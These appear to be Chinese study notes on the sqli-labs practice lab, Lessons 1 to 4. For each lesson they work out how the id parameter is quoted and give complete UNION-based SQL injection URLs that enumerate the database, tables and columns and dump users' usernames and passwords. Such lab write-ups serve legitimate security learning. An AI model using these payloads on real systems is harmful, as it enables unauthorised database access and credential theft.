首先输入id
http://127.0.0.1/SQl/sqli-labs-master/Less-1/?id=1
之后加个单引号,会报错,应该是没闭合,字符型
http://127.0.0.1/SQl/sqli-labs-master/Less-1/?id=1’
http://127.0.0.1/SQl/sqli-labs-master/Less-1/?id=1’ and 1=1; %23
然后order by 判断列数为3
之后判断回显数,发现2,3有回显
http://127.0.0.1/SQl/sqli-labs-master/Less-1/?id=0’ union select 1,2,3; %23
http://127.0.0.1/SQl/sqli-labs-master/Less-1/?id=0’ union select 1,database(),3; %23查出数据库名security
?id=0’ union select 1,table_name,3 from information_schema.tables where table_schema=‘security’; %23如果直接查的话只会显示一个表
用 group_concat()函数将表名拼接成一个字符串
?id=0’ union select 1,(select group_concat(table_name)),3 from information_schema.tables where table_schema=‘security’; %23
爆列
?id=0’ union select 1,(select group_concat(column_name)),3 from information_schema.columns where table_name=‘users’ and table_schema=‘security’; %23
查username,password
?id=0’ union select 1,(select group_concat(username)),(select group_concat(password)) from users ; %23
lesson2和lesson1的区别是1是字符型需要闭合
而2是数字型不需要闭合
可以在两个lesson的index.php里看到区别
lesson1
lesson2
字符型‘id’需要考虑单引号闭合
id=0’ union xxxxxxx; #
而数字型不需要闭合
直接id=0 union xxxxxxx; #
具体语句参考lesson1
直接?id=1’看报错
near ‘‘1’’) LIMIT 0,1’
猜想查询语句里是这样的 (‘id’)
看了眼源码,跟猜想的一样
就很好构造了
?id=0’) union XXXXXX; #
具体语句参考lesson1
这道题吧
最开始试了?id=1’ ?id=1’) ?id=1)都没用
后来试到?id=1"有了报错
猜想查询语句里是这样的 (“id”)
看源码
(id)???不对啊
在细看发现上边的这句
$id = ‘"’ . $id . ‘"’;给id两边加了双引号
. 在php中是连接符,相当于pyton里的+
于是构造
?id=0") union XXXXXX; #
具体语句参考lesson1
最后查询语句?id=0") union select 1,(select group_concat(username)),(select group_concat(password)) from users ; %23